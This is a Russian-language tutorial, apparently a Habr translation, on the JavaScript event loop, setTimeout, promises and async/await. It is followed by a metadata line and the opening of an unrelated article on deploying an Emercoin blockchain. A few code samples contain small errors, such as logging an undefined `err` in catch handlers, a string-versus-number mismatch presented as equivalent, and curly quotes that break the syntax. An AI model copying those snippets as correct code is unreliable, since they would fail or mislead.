Часть 14: [Как работает JS: абстрактные синтаксические деревья, парсинг и его оптимизация](https://habr.com/company/ruvds/blog/415269/)
Часть 15: [Как работает JS: классы и наследование, транспиляция в Babel и TypeScript](https://habr.com/company/ruvds/blog/415377/)
Часть 16: [Как работает JS: системы хранения данных](https://habr.com/company/ruvds/blog/415505/)
Часть 17: [Как работает JS: технология Shadow DOM и веб-компоненты](https://habr.com/company/ruvds/blog/415881/)
Часть 18: [Как работает JS: WebRTC и механизмы P2P-коммуникаций](https://habr.com/company/ruvds/blog/416821/)
Часть 19: [Как работает JS: пользовательские элементы](https://habr.com/company/ruvds/blog/419831/)
Перед вами четвёртая часть серии материалов, посвящённых внутренним особенностям работы JavaScript. Эти материалы, с одной стороны, направлены на изучение базовых элементов языка и экосистемы JS, с другой, содержат рекомендации, основанные на практике разработки ПО в компании [SessionStack](https://www.sessionstack.com/). Конкурентоспособное JS-приложение должно быть быстрым и надёжным. Создание таких приложений — та цель, к которой, в конечном счёте, стремится любой, интересующийся механизмами JavaScript.
[](https://habrahabr.ru/company/ruvds/blog/340508/)
Эту статью можно считать развитием [первого](https://habrahabr.ru/company/ruvds/blog/337042/) материала. Здесь будут рассмотрены ограничения однопоточной модели выполнения, и пойдёт речь о том, как эти ограничения преодолеть. Например — для разработки качественных пользовательских интерфейсов на JS. Как обычно, в конце материала будут приведены практические рекомендации по использованию рассмотренных технологий. Так как основная тема этой статьи — асинхронная разработка, это будут пять советов по улучшению кода с использованием `async / await`.
Ограничения однопоточной модели выполнения кода
-----------------------------------------------
В первом материале мы размышляли над следующим вопросом: «Что происходит, когда в стеке вызовов имеется функция, на выполнение которой нужно очень много времени?». Продолжим эти размышления.
Представьте себе сложный алгоритм обработки изображений, реализация которого запускается в браузере. Когда в стеке вызовов есть работающая функция, браузер не может делать больше ничего. Он заблокирован. Это означает, что браузер не может выводить что-либо на экран, не может выполнять другой код. Самое заметное последствие такой ситуации — «тормоза» пользовательского интерфейса. Веб-страницу попросту «заклинивает».
В некоторых случаях это может оказаться не такой уж и серьёзной проблемой. Однако, это — не самое страшное. Как только браузер начинает выполнять слишком много задач, он может достаточно продолжительное время не реагировать на воздействия пользователя. Обычно в подобной ситуации браузеры предпринимают защитные меры и выдают сообщение об ошибке, спрашивая у пользователя, следует ли закрыть проблемную страницу. Лучше бы пользователю не видеть таких сообщений. Они полностью разрушают все усилия разработчиков по созданию красивых и удобных интерфейсов.
Как же быть, если хочется, чтобы веб-приложение и выглядело хорошо, и могло выполнять сложные вычисления? Начнём поиск ответа на этот вопрос с анализа строительных блоков JS-приложений.
Строительные блоки программ на JavaScript
-----------------------------------------
Код JavaScript-приложения можно разместить в одном .js-файле, но оно, почти наверняка, будет состоять из нескольких блоков. При этом лишь один из этих блоков будет выполняться в некий определённый момент времени, скажем — прямо сейчас. Остальные будут выполняться позже. Наиболее распространённые блоки кода в JavaScript — это функции.
Судя по всему, большинство новых JS-разработчиков не вполне осознают тот факт, что «позже» не обязательно немедленно следует за «сейчас». Другими словами, задача, которую невозможно выполнить «сейчас», должна быть выполнена асинхронно. Это означает, что мы не столкнёмся с блокирующим поведением, которого вы, возможно неосознанно, могли ожидать.
Взглянем на следующий пример:
```
// ajax(..) - некая библиотечная Ajax-функция
var response = ajax('https://example.com/api');
console.log(response);
// в переменной response не будет ответа от api
```
Возможно, вы знаете о том, что стандартные Ajax-запросы не выполняются синхронно. Это означает, что функция `ajax(..)`, сразу после её вызова, не может возвратить некое значение, которое могло бы быть присвоено переменной `response`.
Простой механизм организации «ожидания» результата, возвращаемого асинхронной функцией, заключается в использовании так называемых функций обратного вызова, или коллбэков:
```
ajax('https://example.com/api', function(response) {
console.log(response); // теперь переменная response содержит ответ api
});
```
Тут хотелось бы отметить, что выполнить Ajax-запрос можно и синхронно. Однако, так делать не следует. Если выполнить синхронный Ajax-запрос, пользовательский интерфейс JS-приложения окажется заблокированным. Пользователь не сможет щёлкнуть по кнопке, ввести данные в поле, он не сможет даже прокрутить страницу. Синхронное выполнение Ajax-запросов не даст пользователю взаимодействовать с приложением. Такой подход хотя и возможен, приводит к катастрофическим последствиям.
Вот как этот ужас выглядит, однако, пожалуйста, никогда не пишите ничего подобного, не превращайте веб в место, где невозможно нормально работать:
```
// Исходим из предположения, что вы пользуетесь jQuery
jQuery.ajax({
url: 'https://api.example.com/endpoint',
success: function(response) {
// Это - коллбэк.
},
async: false // А вот это - то, чего делать настоятельно не рекомендуется
});
```
Здесь мы приводили примеры на Ajax-запросах, однако, любой фрагмент кода можно запустить в асинхронном режиме.
Например, сделать это можно с помощью функции `setTimeout(callback, milliseconds)`. Она позволяет планировать выполнение событий (задавая тайм-аут), которые должны произойти позже момента обращения к этой функции. Рассмотрим пример:
```
function first() {
console.log('first');
}
function second() {
console.log('second');
}
function third() {
console.log('third');
}
first();
setTimeout(second, 1000); // вызвать функцию second через 1000 миллисекунд
third();
```
Вот что этот код выведет в консоль:
```
first
third
second
```
Изучение цикла событий
----------------------
Это может показаться странным, но до ES6 JavaScript, несмотря на то, что он позволял выполнять асинхронные вызовы (вроде вышеописанного `setTimeout`), не содержал встроенных механизмов асинхронного программирования. JS-движки занимались только однопоточным выполнением неких фрагментов кода, по одному за раз.
Для того, чтобы узнать подробности о том, как работают JavaScript-движки (и, в частности, V8), взгляните на [этот материал](https://habrahabr.ru/company/ruvds/blog/337460/).
Итак, кто сообщает JS-движку о том, что он должен исполнить некий фрагмент программы? В реальности движок не работает в изоляции — его собственный код выполняется внутри некоего окружения, которым, для большинства разработчиков, является либо браузер, либо Node.js. На самом деле, в наши дни существуют JS-движки для самых разных видов устройств — от роботов до умных лампочек. Каждое подобное устройство представляет собственный вариант окружения для JS-движка.
Общей характеристикой всех подобных сред является встроенный механизм, который называется циклом событий (event loop). Он поддерживает выполнение фрагментов программы, вызывая для этого JS-движок.
Это означает, что движок можно считать средой выполнения любого JS-кода, вызываемой по требованию. А планированием событий (то есть — сеансов выполнения JS-кода) занимаются механизмы окружения, внешние по отношению к движку.
Итак, например, когда ваша программа выполняет Ajax-запрос для загрузки каких-то данных с сервера, вы пишете команду для записи этих данных в переменную `response` внутри коллбэка, и JS-движок сообщает окружению: «Послушай, я собираюсь приостановить выполнение программы, но когда ты закончишь выполнять этот сетевой запрос и получишь какие-то данные, пожалуйста, вызови этот коллбэк».
Затем браузер устанавливает прослушиватель, ожидающий ответ от сетевой службы, и когда у него есть что-то, что можно возвратить в программу, выполнившую запрос, он планирует вызов коллбэка, добавляя его в цикл событий.
Взгляните на следующую схему:
Подробности о куче (memory heap) и стеке вызовов (call stack) можно найти [здесь](https://habrahabr.ru/company/ruvds/blog/337042/). А что представляют собой Web API? В целом, это — потоки, к которым у нас нет прямого доступа, мы можем лишь выполнять обращения к ним. Они встроены в браузер, где и выполняются асинхронные действия.
Если вы разрабатываете под Node.js, то подобные API реализованы средствами С++.
Итак, что же такое цикл событий?
Цикл событий решает одну основную задачу: наблюдает за стеком вызовов и очередью коллбэков (callback queue). Если стек вызовов пуст, цикл берёт первое событие из очереди и помещает его в стек, что приводит к запуску этого события на выполнение.
Подобная итерация называется тиком (tick) цикла событий. Каждое событие — это просто коллбэк.
Рассмотрим следующий пример:
```
console.log('Hi');
setTimeout(function cb1() {
console.log('cb1');
}, 5000);
console.log('Bye');
```
Займёмся пошаговым «выполнением» этого кода и посмотрим, что при этом происходит в системе.
1. Пока ничего не происходит. Консоль браузера чиста, стек вызовов пуст.
2. Команда `console.log('Hi')` добавляется в стек вызовов.
3. Команда `console.log('Hi')` выполняется.
4. Команда `console.log('Hi')` удаляется из стека вызовов.
5. Команда `setTimeout(function cb1() { ... })` добавляется в стек вызовов.
6. Команда `setTimeout(function cb1() { ... })` выполняется. Браузер создаёт таймер, являющийся частью Web API. Он будет выполнять обратный отсчёт времени.
7. Команда `setTimeout(function cb1() { ... })` завершила работу и удаляется из стека вызовов.
8. Команда `console.log('Bye')` добавляется в стек вызовов.
9. Команда `console.log('Bye')` выполняется.
10. Команда `console.log('Bye')` удаляется из стека вызовов.
11. После того, как пройдут, как минимум, 5000 мс., таймер завершает работу и помещает коллбэк `cb1` в очередь коллбэков.
12. Цикл событий берёт c функцию `cb1` из очереди коллбэков и помещает её в стек вызовов.
13. Функция `cb1` выполняется и добавляет `console.log('cb1')` в стек вызовов.
14. Команда `console.log('cb1')` выполняется.
15. Команда `console.log('cb1')` удаляется из стека вызовов.
16. Функция `cb1` удаляется из стека вызовов.
Вот, для закрепления, то же самое в анимированном виде.
Интересно заметить, что спецификация ES6 определяет то, как должен работать цикл событий, а именно, указывает на то, что технически он находится в пределах ответственности JS-движка, который начинает играть более важную роль в экосистеме JS. Основная причина подобного заключается в том, что в ES6 появились промисы и им требуется надёжный механизм планирования операций в очереди цикла событий.
Как работает setTimeout(…)
--------------------------
Вызов `setTimeout(…)` не приводит к автоматическому размещению коллбэка в очереди цикла событий. Эта команда запускает таймер. Когда таймер срабатывает, окружение помещает коллбэк в цикл событий, в результате, в ходе какого-то из будущих тиков, этот коллбэк будет взят в работу и выполнен. Взгляните на этот фрагмент кода:
```
setTimeout(myCallback, 1000);
```
Выполнение этой команды не означает, что `myCallback` будет выполнен через 1000 мс., правильнее будет сказать, что через 1000 мс. `myCallback` будет добавлен в очередь. В очереди, однако, могут быть другие события, добавленные туда ранее, в результате нашему коллбэку придётся подождать.
Существует довольно много статей, предназначенных для тех, кто только начинает заниматься асинхронным программированием на JavaScript. В них можно найти рекомендацию по использованию команды `setTimeout(callback, 0)`. Теперь вы знаете, как работает цикл событий и что происходит при вызове `setTimeout`. Учитывая это, вполне очевидно то, что вызов `setTimeout` со вторым аргументом, равным 0, просто откладывает вызов коллбэка до момента очищения стека вызовов.
Взгляните на следующий пример:
```
console.log('Hi');
setTimeout(function() {
console.log('callback');
}, 0);
console.log('Bye');
```
Хотя время, на которое установлен таймер, составляет 0 мс., в консоль будет выведено следующее:
```
Hi
Bye
callback
```
Задания ES6
-----------
В ES6 появилась новая концепция, которая называется очередью заданий (Job Queue). Эту конструкцию можно считать слоем, расположенным поверх очереди цикла событий. Вполне возможно, вы с ней сталкивались, когда вам приходилось разбираться с особенностями асинхронного поведения промисов.
Сейчас мы опишем это в двух словах, в результате, когда будем говорить об асинхронной разработке с использованием промисов, вы будете понимать, как асинхронные действия планируются и обрабатываются.
Представьте себе это так: очередь заданий — это очередь, которая присоединена к концу каждого тика в очереди цикла событий. Некие асинхронные действия, которые могут произойти в течение тика цикла событий не приведут к тому, что новое событие будет добавлено в очередь цикла событий, но вместо этого элемент (то есть — задание) будет добавлен в конец очереди заданий текущего тика. Это означает, что добавляя в очередь команды, которые должны быть выполнены в будущем, вы можете быть уверены в том, в каком порядке они будут выполняться.
Выполнение задания может приводить к добавлению дополнительных заданий в конец той же очереди. В теории возможно, чтобы «циклическое» задание (задание которое занимается добавлением других заданий) работало бесконечно, истощая ресурсы программы, необходимые для перехода к следующему тику цикла событий. Концептуально это было бы похожим на создание бесконечного цикла вроде `while(true)`.
Задания — это что-то вроде «хака» s`etTimeout(callback, 0)`, но реализованные так, что они дают возможность соблюдения последовательности операций, которые выполняются позже, но так скоро, насколько это возможно.
Коллбэки
--------
Как вы уже знаете, коллбэки являются самым распространённым средством выражения и выполнения асинхронных действий в программах на JavaScript. Более того, коллбэк является наиболее фундаментальным асинхронным шаблоном языка. Бесчисленное множество JS-приложений, даже весьма хитроумных и сложных, основано исключительно на коллбэках.
Всё это хорошо, но и коллбэки не идеальны. Поэтому многие разработчики пытаются найти более удачные шаблоны асинхронной разработки. Невозможно, однако, эффективно использовать любую абстракцию, не понимая того, как всё работает, что называется, под капотом.
Ниже мы подробно рассмотрим пару таких абстракций для того, чтобы показать, почему более продвинутые асинхронные шаблоны, о которых мы ещё поговорим, необходимы и даже рекомендованы к использованию.
Вложенные коллбэки
------------------
Взгляните на следующий код:
```
listen('click', function (e){
setTimeout(function(){
ajax('https://api.example.com/endpoint', function (text){
if (text == "hello") {
doSomething();
}
else if (text == "world") {
doSomethingElse();
}
});
}, 500);
});
```
Здесь имеется цепочка из трёх вложенных в друг друга функций, каждая из них представляет собой шаг в последовательности действий, выполняемых асинхронно.
Такой код часто называют адом коллбэков. Но «ад» кроется не в том, что функции вложены, и не в том, что блоки кода приходится выравнивать относительно друг друга. Это — гораздо более глубокая проблема.
Разберём этот код. Сначала мы ожидаем события `click`, затем ждём срабатывания таймера, и, наконец, ожидаем прихода Ajax-ответа, после прихода которого всё это может повториться снова.
На первый взгляд может показаться, что этот код выражает свою асинхронную природу вполне естественно, в виде последовательных шагов. Вот первый шаг:
```
listen('click', function (e) {
// ..
});
```
Вот второй:
```
setTimeout(function(){
// ..
}, 500);
```
Вот третий:
```
ajax('https://api.example.com/endpoint', function (text){
// ..
});
```
И наконец, происходит вот это:
```
if (text == "hello") {
doSomething();
}
else if (text == "world") {
doSomethingElse();
}
```
Итак, подобный подход к написанию асинхронного кода выглядит гораздо более естественным, правда? Должен быть способ писать его именно так.
Промисы
-------
Взгляните на следующий фрагмент кода:
```
var x = 1;
var y = 2;
console.log(x + y);
```
Тут всё очень просто: значения переменных `x` и `y` складываются и выводятся в консоль. Но что если значение `x` или `y` недоступно и его ещё предстоит задать? Скажем, нам нужно получить с сервера то, что будет записано в `x` и `y`, а потом уже использовать эти данные в выражении. Представим, что у нас имеются функции `loadX` и `loadY`, которые, соответственно, загружают значения `x` и `y` с сервера. Затем представьте, что имеется функция `sum`, которая складывает значения `x` и `y` как только они будут загружены.
Это всё может выглядеть так (страшновато получилось, правда?):
```
function sum(getX, getY, callback) {
var x, y;
getX(function(result) {
x = result;
if (y !== undefined) {
callback(x + y);
}
});
getY(function(result) {
y = result;
if (x !== undefined) {
callback(x + y);
}
});
}
// Синхронная или асинхронная функция, которая загружает значение`x`
function fetchX() {
// ..
}
// Синхронная или асинхронная функция, которая загружает значение `y`
function fetchY() {
// ..
}
sum(fetchX, fetchY, function(result) {
console.log(result);
});
```
Тут есть одна очень важная вещь. А именно, в этом коде мы относимся к `x` и `y` как к значениям, которые будут получены в будущем, и мы описываем операцию `sum(…)` (при её вызове, не вдаваясь в детали реализации) так, будто для её выполнения не имеет значения, доступны или нет значения `x` и `y` на момент её вызова.
Конечно, представленный здесь грубый подход, основанный на коллбэках, оставляет желать лучшего. Это — лишь первый маленький шаг к пониманию преимуществ, которые даёт возможность оперировать «будущими значениями», не беспокоясь о конкретном времени их появления.
Значение промиса
----------------
Сначала взглянем на то, как можно выразить операцию `x + y` с использованием промисов:
```
function sum(xPromise, yPromise) {
// `Promise.all([ .. ])` принимает массив промисов,
// и возвращает новый промис, который ожидает
// разрешения всех промисов, которые были в массиве
return Promise.all([xPromise, yPromise])
// когда этот промис будет разрешён, возьмём
// полученные значения `X` и `Y` и суммируем их.
.then(function(values){
// `values` - это массив сообщений из ранее
// разрешённых промисов
return values[0] + values[1];
} );
}
// `fetchX()` и `fetchY()` возвращают промисы для
// соответствующих значений. Эти значения могут быть
// доступны *сейчас* или *позже*.
sum(fetchX(), fetchY())
// получаем промис для сложения этих
// двух чисел.
// теперь мы используем вызов `then(...)` для организации ожидания
// разрешения этого возвращённого промиса.
.then(function(sum){
console.log(sum);
});
```
В этом примере есть два слоя промисов.
Вызовы `fetchX()` и `fetchY()` выполняются напрямую, и значения, которые они возвращают (промисы!) передаются в `sum(...)`. Те значения, которые представляют эти промисы, могут быть готовы к дальнейшему использованию сейчас или позже, но каждый промис ведёт себя так, что сам по себе момент доступности значений неважен. В результате о значениях `x` и `y` мы рассуждаем без привязки ко времени. Это — будущие значения.
Второй слой промисов — это промис, который создаёт и возвращает (с помощью `Promise.all([ ... ])`) вызов `sum(…)`. Мы ожидаем значение, которое возвратит этот промис, вызывая `then(…)`. Когда операция `sum(…)` завершается, наше будущее значение суммы готово и мы можем вывести его на экран. Мы скрываем логику ожидания будущих значений `x` и `y` внутри `sum(…)`.
Обратите внимание на то, что внутри `sum(…)` вызов `Promise.all([ … ])` создаёт промис (который ожидает разрешения `promiseX` и `promiseY`). Вызов `.then(…)` создаёт ещё один промис, команда которого `values[0] + values[1]` немедленно выполняется (промис разрешается, давая результат сложения). Таким образом, вызов `then(…)`, который мы, в конце примера, присоединили к вызову `sum(…)`, на самом деле работает со вторым возвращённым промисом, а не с тем, который создан командой `Promise.all([ ... ])`. Кроме того, хотя мы не присоединяем других вызовов ко второму `then(…)`, он тоже создаёт ещё один промис, с которым, если надо, вполне можно продолжить работу. Как результат, мы получаем возможность объединения вызовов `.then(…)` в цепочки.
При использовании промисов вызов `then(…)` может, на самом деле, принимать две функции. Первая функция — для случая, когда промис успешно разрешается. Вторая — для ситуации, когда промис оказывается отклонённым:
```
sum(fetchX(), fetchY())
.then(
// обработчик успешного разрешения промиса
function(sum) {
console.log( sum );
},
// обработчик отклонения промиса
function(err) {
console.error( err ); // что-то пошло не так
}
);
```
Если при загрузке значений `x` или `y` что-то пошло не так, или произошёл сбой в ходе сложения этих значений, промис, возвращённый функцией s`um(…)`, будет отклонён. После этого будет вызван второй коллбэк, переданный `then(…)`, представляющий собой обработчик ошибки. Он получит сообщение об ошибке от промиса.
Так как промисы инкапсулируют состояния, зависящие от времени, то есть — ожидание успешного или неуспешного получения некоего значения, сами по себе, для окружающего кода, промисы являются конструкциями, от времени не зависящими. Таким образом, их можно комбинировать, добиваясь предсказуемых результатов, не зависящих от временных характеристик выполняемых внутри них операций.
Более того, как только промис разрешается, своё состояние он уже никогда не меняет. В этот момент он становится неизменяемым (иммутабельным) объектом, при этом к нему можно обращаться столько раз, сколько необходимо.
Очень удобно и то, что промисы можно объединять в цепочки:
```
function delay(time) {
return new Promise(function(resolve, reject){
setTimeout(resolve, time);
});
}
delay(1000)
.then(function(){
console.log("after 1000ms");
return delay(2000);
})
.then(function(){
console.log("after another 2000ms");
})
.then(function(){
console.log("step 4 (next Job)");
return delay(5000);
})
// ...
```
Вызов `delay(2000)` создаёт промис, который будет разрешён через 2000 мс., затем мы возвращаем этот промис из коллбэка успешного завершения операции в первом `then(…)`, что приводит к тому, что промис второго `then(…)` будет ожидать эти 2000 мс.
Обратите внимание на то, что так как промисы, после разрешения, не подлежат модификации внешними средствами, теперь безопасно передавать эти значения любым программным механизмам, не опасаясь того, что они будут случайно или злонамеренно изменены. Это особенно актуально в случае, если имеется несколько конструкций, наблюдающих за промисом и ожидающих его разрешения. Любая из этих конструкций не может помешать другим ожидать разрешения промиса. Разговоры об иммутабельности, могут показаться слишком теоретизированными, но это, на самом деле, один из важных базовых аспектов устройства промисов, поэтому неправильно будет обойти его вниманием.
Промис или нет?
---------------
Важная деталь, касающаяся работы с промисами, заключается в точном знании того, является ли некое значение объектом `Promise` или нет. Другими словами, речь идёт о том, чтобы знать, будет ли некое значение вести себя как промис.
Известно, что промисы можно создавать с использованием конструкции `new Promise(…)`, в результате, можно подумать, что проверки вида `p instanceof Promise` будет достаточно. Однако, это не совсем так.
Дело в том, что получить промис можно из другого браузерного окна (то есть, из фрейма), в котором промисы создаются с помощью его собственного конструктора `Promise`, отличного от того, который используется в текущем окне или фрейме. Как результат, вышеописанная проверка не сможет получить ответ на вопрос о том, является ли некое значение промисом.
Более того, в некоей библиотеке или каком-нибудь фреймворке могут использоваться их собственные промисы, а не те, что реализованы в ES6. На самом деле, можно даже использовать промисы, созданные с помощью библиотек, в старых версиях браузеров, которые и не подозревают о существовании стандартных промисов.
Проглатывание исключений
------------------------
Если в любом месте при создании промиса или при ожидании его разрешения возникнет исключение, вроде `TypeError` или `ReferenceError`, это исключение будет перехвачено и приведёт к отклонению промиса.
Например:
```
var p = new Promise(function(resolve, reject){
foo.bar();
// `foo` не определено, поэтому возникает ошибка!
resolve(374); // сюда мы не попадём никогда :(
});
p.then(
function fulfilled(){
// сюда мы тоже не попадаем :(
},
function rejected(err){
// `err` будет объектом исключения `TypeError`
// из строки `foo.bar()`.
}
);
```
Но что произойдёт, если промис разрешён, но на стадии получения его результата возникнет JS-исключение (в коллбэке, зарегистрированном `then(…)`)? Даже хотя такая ошибка и не будет потеряна, можно обнаружить, что обрабатывается эта ситуация, на первый взгляд, несколько неожиданно:
```
var p = new Promise( function(resolve,reject){
resolve(374);
});
p.then(function fulfilled(message){
foo.bar();
console.log(message); // этого фрагмента достичь не удаётся
},
function rejected(err){
// этого тоже
}
);
```
Кажется, будто исключение, вызванное строкой `foo.bar()` и в самом деле было «проглочено». Однако, это не так. На более глубоком уровне оказывается, что возникает нечто, чего мы не ожидаем. А именно, сам вызов `p.then(…)` возвращает другой промис, и именно этот промис будет отклонён с исключением `TypeError`.
Обработка неперехваченных исключений
------------------------------------
Есть и другие подходы к работе с исключениями, которые многие сочли бы более удачными.
Часто можно встретить предложения, заключающиеся в том, что при работе с промисами следует использовать блок `done(…)`, который сообщает о том, что обработка цепочки промисов «завершена». Блок `done(…)` не создаёт и не возвращает промисы, поэтому коллбэк, переданный `done(…)`, очевидно, не связан с сообщениями об ошибках, передаваемых присоединённым промисам, которых не существует.
Он обрабатывается, так, как и можно обычно ожидать от ситуации, в которой возникают неперехваченные ошибки: любое исключение внутри обработчика отклонения промиса в `done(…)` будет выброшено как глобальная необработанная ошибка (обычно сообщение об этом попадает в консоль разработчика):
```
var p = Promise.resolve(374);
p.then(function fulfilled(msg){
// у числа нет строковых функций,
// поэтому тут будет выброшена ошибка
console.log(msg.toLowerCase());
})
.done(null, function() {
// если здесь произойдёт исключение, оно попадёт в глобальную область видимости
});
```
Новшество ES8: async / await
----------------------------
В JavaScript ES8 появилась конструкция `async / await`, которая упрощает работу с промисами. Сейчас мы кратко рассмотрим возможности, которые предлагает `async / await` и поговорим о том, как использовать эти возможности для написания асинхронного кода.
Асинхронные функции объявляют, пользуясь ключевым словом `async`. Такая функция возвращает объект [AsyncFunction](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction). Этот объект представляет собой асинхронную функцию, которая выполняет код, находящийся внутри неё.
Когда асинхронная функция вызывается, она возвращает объект `Promise`. Если такая функция возвращает значение, которое не является объектом `Promise`, этот объект будет автоматически создан и разрешён с использованием значения, возвращённого функцией. Если функция, объявленная с ключевым словом `async`, выдаст исключение, промис будет отклонён с этим исключением.
Функция, объявленная с ключевым словом `async`, может содержать выражение с ключевым словом `await`, которое приостанавливает выполнение функции и ожидает разрешения промиса, фиругирующего в данном выражении. После этого выполнение async-функции продолжается, и, например, осуществляется возврат полученного после разрешения промиса значения.
Объекты Promise в JavaScript можно рассматривать как эквиваленты Future из Java или задач из C#.
Цель `async / await` заключается в том, чтобы упростить использование промисов.
Взглянем на следующий пример:
```
// Это - самая обыкновенная JS-функция
function getNumber1() {
return Promise.resolve('374');
}
// Эта функция делает то же самое, что и getNumber1
async function getNumber2() {
return 374;
}
```
Функции, которые выдают исключения, аналогичны функциям, которые возвращают отклонённые промисы:
```
function f1() {
return Promise.reject('Some error');
}
async function f2() {
throw 'Some error';
}
```
Ключевое слово `await` можно использовать только в функциях, объявленных с ключевым словом `async`. Оно позволяет организовать ожидание разрешения промиса. Если мы используем промисы за пределами async-функций, нам всё ещё нужно использовать коллбэки блока `then`:
```
async function loadData() {
// `rp`- это функция request-promise.
var promise1 = rp('https://api.example.com/endpoint1');
var promise2 = rp('https://api.example.com/endpoint2');
// В данный момент выполняются оба запроса
// и нам нужно подождать их завершения.
var response1 = await promise1;
var response2 = await promise2;
return response1 + ' ' + response2;
}
// Так как мы больше не в функции, объявленной с ключевым словом `async`
// нам нужно использовать `then` с возвращённым объектом Promise
loadData().then(() => console.log('Done'));
```
Определять асинхронные функции можно и используя «асинхронное функциональное выражение», оно очень похоже на обычное определение с использованием инструкции `function` и имеет почти такой же синтаксис. Основное различие между функциональным выражением и обычным объявлением функции заключается в имени функции, которое, в функциональном выражении, может быть опущено, что приведёт к созданию анонимной функции. Асинхронное функциональное выражение может быть использовано как IIFE (Immediately Invoked Function Expression, немедленно вызываемое функциональное выражение), которое выполняется сразу после его определения.
Выглядит это так:
```
var loadData = async function() {
// `rp`- это функция request-promise.
var promise1 = rp('https://api.example.com/endpoint1');
var promise2 = rp('https://api.example.com/endpoint2');
// В данный момент выполняются оба запроса
// и нам нужно подождать их завершения.
var response1 = await promise1;
var response2 = await promise2;
return response1 + ' ' + response2;
}
```
Стоит отметить, что конструкция `async / await` поддерживается во всех основных браузерах.
Если нужный вам браузер не поддерживает эту технологию, есть и обходные пути, например — [Babel](https://babeljs.io/docs/plugins/transform-async-to-generator/) и [TypeScript](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-3.html).
Сейчас мы сравним промисы и конструкцию `async / await` и поговорим о том, как улучшить качество кода, разобрав пять примеров.
5 советов по написанию надёжного асинхронного кода, который легко поддерживать
------------------------------------------------------------------------------
### ▍Чистота кода
Использование конструкции `async / await` позволяет вам писать гораздо меньше кода. Каждый раз, используя `async / await`, вы избавляетесь от нескольких ненужных шагов. Среди них — использование блока `.then()`, создание анонимной функции для обработки ответа, задание в этой функции-коллбэке имени для переменной, содержащей результаты ответа, и так далее.
Вот фрагмент кода, в котором используются промисы:
```
/ `rp`- это функция request-promise.
rp(‘https://api.example.com/endpoint1').then(function(data) {
// …
});
```
Вот то же самое, написанное с использованием `async / await`:
```
// `rp`- это функция request-promise.
var response = await rp(‘https://api.example.com/endpoint1');
```
### ▍Обработка ошибок
Конструкция `async / await` позволяет обрабатывать синхронные и асинхронные ошибки с использованием одних и тех же механизмов. А именно, речь идёт о широко известном выражении `try / catch`.
Взглянем на то, как обработка ошибок выполняется при использовании промисов. В частности, здесь нам приходится использовать блок `.catch()` для обработки асинхронных ошибок, и блок `try / catch` для обработки синхронных ошибок:
```
function loadData() {
try { // Перехват синхронных ошибок.
getJSON().then(function(response) {
var parsed = JSON.parse(response);
console.log(parsed);
}).catch(function(e) { // Перехват асинхронных ошибок
console.log(e);
});
} catch(e) {
console.log(e);
}
}
```
Вот как обрабатывать ошибки при использовании `async / await`:
```
async function loadData() {
try {
var data = JSON.parse(await getJSON());
console.log(data);
} catch(e) {
console.log(e);
}
}
```
### ▍Обработка условий
Применение `async / await` упрощает написание кода, использующего условия. Вот — код, основанный на промисах:
```
function loadData() {
return getJSON()
.then(function(response) {
if (response.needsAnotherRequest) {
return makeAnotherRequest(response)
.then(function(anotherResponse) {
console.log(anotherResponse)
return anotherResponse
})
} else {
console.log(response)
return response
}
})
}
```
Вот — пример с `async / await`:
```
async function loadData() {
var response = await getJSON();
if (response.needsAnotherRequest) {
var anotherResponse = await makeAnotherRequest(response);
console.log(anotherResponse)
return anotherResponse
} else {
console.log(response);
return response;
}
}
```
### ▍Трассировка стека
В отличие от `async / await`, стек ошибки, возвращённый из цепочки промисов, не содержит сведений о точном месте, в котором произошла ошибка. Вот как это выглядит при использовании промисов:
```
function loadData() {
return callAPromise()
.then(callback1)
.then(callback2)
.then(callback3)
.then(() => {
throw new Error("boom");
})
}
loadData()
.catch(function(e) {
console.log(err);
// Error: boom at callAPromise.then.then.then.then (index.js:8:13)
});
```
Вот — то же самое, но с использованием `async / await`:
```
async function loadData() {
await callAPromise1()
await callAPromise2()
await callAPromise3()
await callAPromise4()
await callAPromise5()
throw new Error("boom");
}
loadData()
.catch(function(e) {
console.log(err);
// вывод
// Error: boom at loadData (index.js:7:9)
});
```
### ▍Отладка
Если вы пользовались промисами, то вы знаете, что отладка подобных конструкций — это кошмар. Например, если установить точку останова внутри блока `.then` и использовать команды отладки вроде «step-over», отладчик не перейдёт к следующему `.then`, так как он умеет «перешагивать» лишь через синхронный код. С использованием `async / await` можно переходить по вызовам, в которых используется ключевое слово `await` так, будто это — обычные синхронные операции.
Итоги
-----
Написание асинхронного кода важно не только для обычных приложений, но и для библиотек. Например, библиотека [SessionStack](https://www.sessionstack.com/) записывает всё, происходящее в веб-приложении. А именно, речь идёт обо всех изменениях DOM, о взаимодействии с пользователями, об исключениях JavaScript, о трассировке стека, о сетевых запросах, давших сбой и об отладочных сообщениях.
Всё это должно происходить в продакшн-окружении и при этом не мешать работе пользовательского интерфейса. Для того, чтобы этого достичь, команде необходимо хорошо оптимизировать код, сделав его асинхронным настолько, насколько это возможно. Это позволяет не перегружать цикл событий. Кроме того, задача воспроизведения всего того, что происходило со страницей, также требует использования асинхронного кода.
В итоге можно сказать, что не стоит необдуманно стремиться к написанию асинхронного кода исключительно с использованием неких самых новых технологий. Важно понимать внутренние особенности реализации асинхронных операций в JavaScript, знать то, как устроены выбранные методы. У каждого подхода есть свои преимущества и недостатки, как, впрочем, и у всего остального в программировании.
Уважаемые читатели! Мы уже поднимали тему асинхронной JS-разработки. В частности, [здесь](https://habrahabr.ru/company/ruvds/blog/339414/) можно почитать о паттернах и анти-паттернах при работе с промисами и поучаствовать в опросе. [Здесь](https://habrahabr.ru/company/ruvds/blog/339770/) — узнать о переходе на `async / await`. Полагаем, тем, кого волнуют насущные вопросы асинхронности, интересно будет взглянуть и в комментарии к этим материалам. Сегодня же мы просим вас поделиться примерами улучшения (или ухудшения) некоей ситуации при переходе с промисов на a`sync / await`. | https://habr.com/ru/post/340508/ | null | ru | null |
# Равертывание Emercoin blockchain с веб-кошельком на RedHat/CentOS 7 и Ubuntu 16.04
Одним из современных технических мейнстримов является блокчейн. В этой статье я расскажу как можно быстро развернуть Emercoin блокчейн на RedHat/CentOS 7 и Ubuntu 16.04 LTS.
1. Введение
-----------
В этом материале мы будем исходить из следующего:
* У вас уже есть чистая предустановленная RHEL/CentOS 7 или Ubuntu 16.04 LTS, со стандартным набором пакетов, без специфических настроек
* Рассматриваемые версии ПО: emercoin(0.3.7), emcssh(0.0.3), emcweb(1.0)
* В качестве веб-сервера будет использоваться Apache
* Все команды, приведенные ниже, должны исполняться либо пользователем root, либо через sudo
